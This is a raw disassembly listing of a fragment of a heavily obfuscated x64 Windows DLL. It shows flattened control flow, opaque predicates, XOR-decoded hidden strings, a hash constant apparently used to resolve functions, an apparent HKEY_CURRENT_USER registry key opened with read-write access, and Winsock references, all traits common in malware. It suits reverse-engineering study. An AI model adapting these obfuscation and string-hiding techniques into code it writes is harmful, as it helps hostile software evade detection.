mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fdb0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x3a], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007fe7f
cmp edx, 0xaf9b86e2
jne 0x18007fe20
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fe68
cmp edx, 0x28a832c8
jne 0x18007fe40
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007fe40
movzx edx, word [rbp + 0xa8]
xor edx, 0x6f
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fe20
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x3c], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007feef
cmp edx, 0xaf9b86e2
jne 0x18007fe90
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007fed8
cmp edx, 0x28a832c8
jne 0x18007feb0
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007feb0
movzx edx, word [rbp + 0xa8]
xor edx, 0x6e
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007fe90
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x3e], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007ff5f
cmp edx, 0xaf9b86e2
jne 0x18007ff00
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007ff48
cmp edx, 0x28a832c8
jne 0x18007ff20
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007ff20
movzx edx, word [rbp + 0xa8]
xor edx, 0x5c
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007ff00
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x40], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18007ffcf
cmp edx, 0xaf9b86e2
jne 0x18007ff70
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x18007ffb8
cmp edx, 0x28a832c8
jne 0x18007ff90
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x18007ff90
movzx edx, word [rbp + 0xa8]
xor edx, 0x72
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007ff70
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x42], dx
mov edx, 0xaf9b86e2
nop
cmp edx, 0x5d9abfc6
je 0x18008003f
cmp edx, 0xaf9b86e2
jne 0x18007ffe0
mov qword [rbp + 0x9b8], rsi
mov edx, 0x28a832c8
nop dword [rax]
cmp edx, 0xc65cb09
je 0x180080028
cmp edx, 0x28a832c8
jne 0x180080000
mov rdx, qword [rbp + 0x9b8]
movzx edx, word [rdx]
mov word [rbp + 0xa8], dx
mov edx, 0xc65cb09
jmp 0x180080000
movzx edx, word [rbp + 0xa8]
xor edx, 0x75
mov dword [rbp + 0xb8], edx
mov edx, 0x5d9abfc6
jmp 0x18007ffe0
mov edx, dword [rbp + 0xb8]
mov word [rcx + 0x44], dx
add rcx, 0x46
mov qword [rbp + 0xe0], rcx
mov word [rbp + 0xe8], WSAStartup
mov ecx, 0x3f1619a1
jmp 0x18007efb0
mov dword [rbp + 0xf0], 0x46
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x180080120
cmp edx, 0x926a4418
je 0x18008013e
cmp edx, 0xbe73cc8d
je 0x18008014c
cmp edx, 0xe39c1de6
jne 0x1800800f0
jmp 0x1800803e2
cmp edx, 0x8bbf196b
je 0x180080153
cmp edx, 0x8f01ddc2
jne 0x1800800f0
movzx ecx, byte [rbp + 0xd8]
add cl, 0xa
mov edx, edi
jmp 0x1800800f0
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x1800800f0
mov edx, 0xe39c1de6
jmp 0x1800800f0
mov edx, ebx
jmp 0x1800800f0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xa], al
mov dword [rbp + 0xd8], 0x69
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x1800801c0
cmp ecx, 0x75847964
je 0x1800801de
cmp ecx, 0x64823d8c
je 0x18008044c
cmp ecx, 0xff9fb55e
jne 0x180080180
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180080180
cmp ecx, 0xabbc78b9
je 0x1800801e5
cmp ecx, 0xf18f601f
jne 0x180080180
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180080180
mov ecx, 0x64823d8c
jmp 0x180080180
mov ecx, edx
jmp 0x180080180
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xa], al
mov dword [rbp + 0xd8], 0x69
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop
cmp ecx, 0xff9fb55d
jle 0x180080250
cmp ecx, 0x75847964
je 0x18008026e
cmp ecx, 0x64823d8c
je 0x180080487
cmp ecx, 0xff9fb55e
jne 0x180080210
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180080210
cmp ecx, 0xabbc78b9
je 0x180080275
cmp ecx, 0xf18f601f
jne 0x180080210
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180080210
mov ecx, 0x64823d8c
jmp 0x180080210
mov ecx, edx
jmp 0x180080210
sub rsp, 0x20
mov rcx, rsi
call fcn.180094930
sub rsp, 0x10
lea rcx, [rbp + 0x100]
mov qword [rsp + 0x20], rcx
mov rcx, 0xffffffff80000001
mov rdx, rax
xor r8d, r8d
mov r9d, 0x2001f
call qword [rbp + 0x70]
add rsp, 0x30
test eax, eax
sete byte [rbp + 0xa2]
mov eax, 0x9ad2b198
movabs r11, 0xcbf29ce484222325
jmp 0x180074cd0
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 0xb], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x180080445
cmp ecx, 0x71319a28
jne 0x180080430
jmp 0x18008052c
mov ecx, 0x71319a28
jmp 0x180080430
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x1800805b7
cmp edi, 0x35d4fac2
jne 0x180080460
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x180080460
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x180080649
cmp edi, 0x35d4fac2
jne 0x1800804a0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x1800804a0
mov dword [rbp + 0xf0], 0x20
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x180080580
cmp edx, 0x926a4418
je 0x18008059e
cmp edx, 0xbe73cc8d
je 0x1800805ac
cmp edx, 0xe39c1de6
jne 0x180080550
jmp 0x1800807f2
cmp edx, 0x8bbf196b
je 0x1800805b3
cmp edx, 0x8f01ddc2
jne 0x180080550
movzx ecx, byte [rbp + 0xd8]
add cl, 0xb
mov edx, edi
jmp 0x180080550
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x180080550
mov edx, 0xe39c1de6
jmp 0x180080550
mov edx, ebx
jmp 0x180080550
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xb], al
mov dword [rbp + 0xd8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x180080620
cmp ecx, 0x75847964
je 0x18008063e
cmp ecx, 0x64823d8c
je 0x18008085c
cmp ecx, 0xff9fb55e
jne 0x1800805e0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x1800805e0
cmp ecx, 0xabbc78b9
je 0x180080645
cmp ecx, 0xf18f601f
jne 0x1800805e0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x1800805e0
mov ecx, 0x64823d8c
jmp 0x1800805e0
mov ecx, edx
jmp 0x1800805e0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xb], al
mov dword [rbp + 0xd8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop
cmp ecx, 0xff9fb55d
jle 0x1800806b0
cmp ecx, 0x75847964
je 0x1800806ce
cmp ecx, 0x64823d8c
je 0x180080897
cmp ecx, 0xff9fb55e
jne 0x180080670
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180080670
cmp ecx, 0xabbc78b9
je 0x1800806d5
cmp ecx, 0xf18f601f
jne 0x180080670
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180080670
mov ecx, 0x64823d8c
jmp 0x180080670
mov ecx, edx
jmp 0x180080670
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 0xc], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x180080855
cmp ecx, 0x71319a28
jne 0x180080840
jmp 0x18008094a
mov ecx, 0x71319a28
jmp 0x180080840
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x1800809c7
cmp edi, 0x35d4fac2
jne 0x180080870
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x180080870
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x180080a59
cmp edi, 0x35d4fac2
jne 0x1800808b0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x1800808b0
mov dword [rbp + 0xf0], 0x22
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
cmp edx, 0x926a4417
jle 0x180080990
cmp edx, 0x926a4418
je 0x1800809ae
cmp edx, 0xbe73cc8d
je 0x1800809bc
cmp edx, 0xe39c1de6
jne 0x180080960
jmp 0x180080c02
cmp edx, 0x8bbf196b
je 0x1800809c3
cmp edx, 0x8f01ddc2
jne 0x180080960
movzx ecx, byte [rbp + 0xd8]
add cl, 0xc
mov edx, edi
jmp 0x180080960
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x180080960
mov edx, 0xe39c1de6
jmp 0x180080960
mov edx, ebx
jmp 0x180080960
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xc], al
mov dword [rbp + 0xd8], 0x65
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x180080a30
cmp ecx, 0x75847964
je 0x180080a4e
cmp ecx, 0x64823d8c
je 0x180080c6c
cmp ecx, 0xff9fb55e
jne 0x1800809f0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x1800809f0
cmp ecx, 0xabbc78b9
je 0x180080a55
cmp ecx, 0xf18f601f
jne 0x1800809f0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x1800809f0
mov ecx, 0x64823d8c
jmp 0x1800809f0
mov ecx, edx
jmp 0x1800809f0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xc], al
mov dword [rbp + 0xd8], 0x65
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop
cmp ecx, 0xff9fb55d
jle 0x180080ac0
cmp ecx, 0x75847964
je 0x180080ade
cmp ecx, 0x64823d8c
je 0x180080ca7
cmp ecx, 0xff9fb55e
jne 0x180080a80
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180080a80
cmp ecx, 0xabbc78b9
je 0x180080ae5
cmp ecx, 0xf18f601f
jne 0x180080a80
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180080a80
mov ecx, 0x64823d8c
jmp 0x180080a80
mov ecx, edx
jmp 0x180080a80
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 0xd], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x180080c65
cmp ecx, 0x71319a28
jne 0x180080c50
jmp 0x18008112f
mov ecx, 0x71319a28
jmp 0x180080c50
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x1800811b7
cmp edi, 0x35d4fac2
jne 0x180080c80
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x180080c80
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x180081249
cmp edi, 0x35d4fac2
jne 0x180080cc0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x180080cc0
mov dword [rbp + 0xf0], 0x25
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop
cmp edx, 0x926a4417
jle 0x180081180
cmp edx, 0x926a4418
je 0x18008119e
cmp edx, 0xbe73cc8d
je 0x1800811ac
cmp edx, 0xe39c1de6
jne 0x180081150
jmp 0x180081a01
cmp edx, 0x8bbf196b
je 0x1800811b3
cmp edx, 0x8f01ddc2
jne 0x180081150
movzx ecx, byte [rbp + 0xd8]
add cl, 0xd
mov edx, edi
jmp 0x180081150
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x180081150
mov edx, 0xe39c1de6
jmp 0x180081150
mov edx, ebx
jmp 0x180081150
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xd], al
mov dword [rbp + 0xd8], 0x4e
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x180081220
cmp ecx, 0x75847964
je 0x18008123e
cmp ecx, 0x64823d8c
je 0x180081a6c
cmp ecx, 0xff9fb55e
jne 0x1800811e0
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x1800811e0
cmp ecx, 0xabbc78b9
je 0x180081245
cmp ecx, 0xf18f601f
jne 0x1800811e0
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x1800811e0
mov ecx, 0x64823d8c
jmp 0x1800811e0
mov ecx, edx
jmp 0x1800811e0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xd], al
mov dword [rbp + 0xd8], 0x4e
mov qword [rbp + 0xf0], r14
mov ecx, 0xabbc78b9
nop
cmp ecx, 0xff9fb55d
jle 0x1800812b0
cmp ecx, 0x75847964
je 0x1800812ce
cmp ecx, 0x64823d8c
je 0x180081aa7
cmp ecx, 0xff9fb55e
jne 0x180081270
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180081270
cmp ecx, 0xabbc78b9
je 0x1800812d5
cmp ecx, 0xf18f601f
jne 0x180081270
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180081270
mov ecx, 0x64823d8c
jmp 0x180081270
mov ecx, edx
jmp 0x180081270
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 0xe], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x8c53169d
je 0x180081a65
cmp ecx, 0x71319a28
jne 0x180081a50
jmp 0x1800824d3
mov ecx, 0x71319a28
jmp 0x180081a50
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop
cmp edi, 0xf22d6e9d
je 0x180082557
cmp edi, 0x35d4fac2
jne 0x180081a80
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x180081a80
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edi, 0x35d4fac2
nop dword [rax]
cmp edi, 0xf22d6e9d
je 0x1800825f7
cmp edi, 0x35d4fac2
jne 0x180081ac0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edi, 0xf22d6e9d
jmp 0x180081ac0
mov dword [rbp + 0xf0], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xd8], r8b
mov edx, 0x8bbf196b
nop dword [rax]
cmp edx, 0x926a4417
jle 0x180082520
cmp edx, 0x926a4418
je 0x18008253e
cmp edx, 0xbe73cc8d
je 0x18008254c
cmp edx, 0xe39c1de6
jne 0x1800824f0
jmp 0x180082d31
cmp edx, 0x8bbf196b
je 0x180082553
cmp edx, 0x8f01ddc2
jne 0x1800824f0
movzx ecx, byte [rbp + 0xd8]
add cl, 0xe
mov edx, edi
jmp 0x1800824f0
movzx eax, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x1800824f0
mov edx, 0xe39c1de6
jmp 0x1800824f0
mov edx, ebx
jmp 0x1800824f0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xe], al
add rsi, 0xf
mov qword [rbp + 0xc8], rsi
mov dword [rbp + 0xd8], 0x61
mov qword [rbp + 0xf0], r14
mov eax, 0xabbc78b9
nop word [rax + rax]
cmp eax, 0xff9fb55d
jle 0x1800825d0
cmp eax, 0x75847964
je 0x1800825ec
cmp eax, 0x64823d8c
je 0x180082d9c
cmp eax, 0xff9fb55e
jne 0x180082590
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov eax, ebx
jmp 0x180082590
cmp eax, 0xabbc78b9
je 0x1800825f3
cmp eax, 0xf18f601f
jne 0x180082590
mov rax, qword [rbp + 0xf0]
mov eax, 0xff9fb55e
jmp 0x180082590
mov eax, 0x64823d8c
jmp 0x180082590
mov eax, edx
jmp 0x180082590
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 0xe], al
add rsi, 0xf
mov qword [rbp + 0xc8], rsi
mov dword [rbp + 0xd8], 0x61
mov qword [rbp + 0xf0], r14
mov eax, 0xabbc78b9
nop word [rax + rax]
cmp eax, 0xff9fb55d
jle 0x180082670
cmp eax, 0x75847964
je 0x18008268c
cmp eax, 0x64823d8c
je 0x180082dd7
cmp eax, 0xff9fb55e
jne 0x180082630
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov eax, ebx
jmp 0x180082630
cmp eax, 0xabbc78b9
je 0x180082693
cmp eax, 0xf18f601f
jne 0x180082630
mov rax, qword [rbp + 0xf0]
mov eax, 0xff9fb55e
jmp 0x180082630
mov eax, 0x64823d8c
jmp 0x180082630
mov eax, edx
jmp 0x180082630
mov byte [rbp + 0xe0], cl
movzx eax, byte [rbp + 0xe0]
mov ecx, dword [rbp + 0xf0]
mov edx, ecx
and edx, 0x76
or edx, 8
and ecx, 0x89
mov esi, eax
and esi, 0x76
or esi, 0x81
and eax, 0xffffff89
xor eax, ecx
xor eax, esi
xor eax, edx
xor al, 0x89
mov byte [r9 + 0xf], al
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x8c53169d
je 0x180082d95
cmp ecx, 0x71319a28
jne 0x180082d80
mov ecx, 0x71319a28
jmp 0x180082d80
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov ecx, 0x35d4fac2
nop
cmp ecx, 0xf22d6e9d
je 0x180083467
cmp ecx, 0x35d4fac2
jne 0x180082db0
mov eax, dword [rbp + 0xd8]
xor eax, dword [rbp + 0xe0]
mov ecx, 0xf22d6e9d
jmp 0x180082db0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov ecx, 0x35d4fac2
nop dword [rax]
cmp ecx, 0xf22d6e9d
je 0x180083862
cmp ecx, 0x35d4fac2
jne 0x180082df0
mov eax, dword [rbp + 0xd8]
xor eax, dword [rbp + 0xe0]
mov ecx, 0xf22d6e9d
jmp 0x180082df0
mov dword [rbp + 0xf0], eax
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rbp + 0xc8]
mov byte [rcx], al
mov ecx, 0xf36e3b8c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfd8fe857
jg 0x180083580
cmp ecx, 0xf36e3b8c
je 0x1800835b8
cmp ecx, 0xfafbeadd
jne 0x180083490
mov rdi, qword [rbp + 0xd8]
mov dword [rbp + 0xa8], 0x65
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop
cmp ecx, 0xff9fb55d
jle 0x180083550
cmp ecx, 0x75847964
je 0x18008356e
cmp ecx, 0x64823d8c
je 0x180083689
cmp ecx, 0xff9fb55e
jne 0x180083510
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xb8], al
mov ecx, ebx
jmp 0x180083510
cmp ecx, 0xabbc78b9
je 0x180083575
cmp ecx, 0xf18f601f
jne 0x180083510
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180083510
mov ecx, 0x64823d8c
jmp 0x180083510
mov ecx, edx
jmp 0x180083510
cmp ecx, 0xfd8fe858
je 0x180087f3e
cmp ecx, 0x6b1a052f
jne 0x180083490
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0xe0]
mov ecx, 0x6b1a052f
mov eax, 0xfd8fe858
cmove ecx, eax
jmp 0x180083490
mov rcx, qword [rbp + 0xc8]
add rcx, 1
mov qword [rbp + 0xd8], rcx
mov dword [rbp + 0xa8], WSAStartup
mov qword [rbp + 0xf0], r14
mov ecx, dword [0x180129ca0]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
sete cl
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl al
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop dword [rax + rax]
cmp ecx, 0xff9fb55d
jle 0x180083660
cmp ecx, 0x75847964
je 0x18008367e
cmp ecx, 0x64823d8c
je 0x1800836c3
cmp ecx, 0xff9fb55e
jne 0x180083620
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xb8], al
mov ecx, ebx
jmp 0x180083620
cmp ecx, 0xabbc78b9
je 0x180083685
cmp ecx, 0xf18f601f
jne 0x180083620
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180083620
mov ecx, 0x64823d8c
jmp 0x180083620
mov ecx, edx
jmp 0x180083620
movsx eax, byte [rbp + 0xb8]
mov dword [rbp + 0xb8], eax
mov edx, 0x35d4fac2
nop dword [rax + rax]
cmp edx, 0xf22d6e9d
je 0x180083707
cmp edx, 0x35d4fac2
jne 0x1800836a0
mov ecx, dword [rbp + 0xa8]
xor ecx, dword [rbp + 0xb8]
mov edx, 0xf22d6e9d
jmp 0x1800836a0
movsx eax, byte [rbp + 0xb8]
mov dword [rbp + 0xb8], eax
mov edx, 0x35d4fac2
nop word cs:[rax + rax]
nop
cmp edx, 0xf22d6e9d
je 0x1800837d9
cmp edx, 0x35d4fac2
jne 0x1800836e0
mov ecx, dword [rbp + 0xa8]
xor ecx, dword [rbp + 0xb8]
mov edx, 0xf22d6e9d
jmp 0x1800836e0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rdi + 1], al
mov dword [rbp + 0xa8], 0x41
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop
cmp ecx, 0xff9fb55d
jle 0x1800837b0
cmp ecx, 0x75847964
je 0x1800837ce
cmp ecx, 0x64823d8c
je 0x1800837f8
cmp ecx, 0xff9fb55e
jne 0x180083770
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xb8], al
mov ecx, ebx
jmp 0x180083770
cmp ecx, 0xabbc78b9
je 0x1800837d5
cmp ecx, 0xf18f601f
jne 0x180083770
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180083770
mov ecx, 0x64823d8c
jmp 0x180083770
mov ecx, edx
jmp 0x180083770
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rbp + 0xd8]
mov byte [rcx], al
mov ecx, 0xfafbeadd
jmp 0x180083490
movsx eax, byte [rbp + 0xb8]
mov dword [rbp + 0xb8], eax
mov edx, 0x35d4fac2
nop word [rax + rax]
cmp edx, 0xf22d6e9d
je 0x180083833
cmp edx, 0x35d4fac2
jne 0x180083810
mov ecx, dword [rbp + 0xa8]
xor ecx, dword [rbp + 0xb8]
mov edx, 0xf22d6e9d
jmp 0x180083810
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rdi + 2], al
add rdi, 3
mov rax, qword [rbp + 0xb0]
add rax, 0x14
mov qword [rbp + 0xe0], rax
mov ecx, 0x6b1a052f
jmp 0x180083490
mov dword [rbp + 0xf0], eax
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rbp + 0xc8]
mov byte [rcx], al
mov ecx, 0xf36e3b8c
nop dword [rax]
cmp ecx, 0xfd8fe857
jg 0x180083970
cmp ecx, 0xf36e3b8c
je 0x1800839a8
cmp ecx, 0xfafbeadd
jne 0x180083880
mov rdi, qword [rbp + 0xd8]
mov dword [rbp + 0xa8], 0x65
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop
cmp ecx, 0xff9fb55d
jle 0x180083940
